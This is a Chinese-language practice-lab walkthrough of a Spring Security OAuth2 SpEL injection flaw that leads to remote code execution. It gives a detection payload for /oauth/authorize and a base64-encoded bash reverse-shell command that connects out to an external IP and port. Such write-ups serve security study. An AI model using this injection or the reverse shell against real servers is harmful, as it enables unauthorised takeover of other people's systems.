漏洞原理:
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
步骤一:启动靶场环境
docker-compose up -d
步骤二:访问目标网站
小树叶,确定为spring框架
步骤三:访问/oauth/authorize
默认密码为admin/admin
访问需要账号密码,由此看来该漏洞需要在登陆状态下
步骤四:漏洞检测
该漏洞原理为如果使用了whitelable视图,response_type参数值会被当作Spring SpEL来执行,
那么直接拼接入spel看能否解析,如果可以则证明漏洞存在
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
${ }中为执行命令 若2*3被解析为6则漏洞存在
漏洞存在
步骤五:漏洞利用(getshell)
靶场内有poc,使用反弹shell的方式,但是Java中反弹shell都需要先编码,runtime不支持管道符
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjE4NC4xMTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
将生成的内容插入到
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
替换2*3的${ }中
开启监听
执行
反弹到shell
总结:
该漏洞类比struts中的ognl spel的开发也带来了许多风险,恶意攻击者构造response_type值被当作spring spel执行,从而导致该漏洞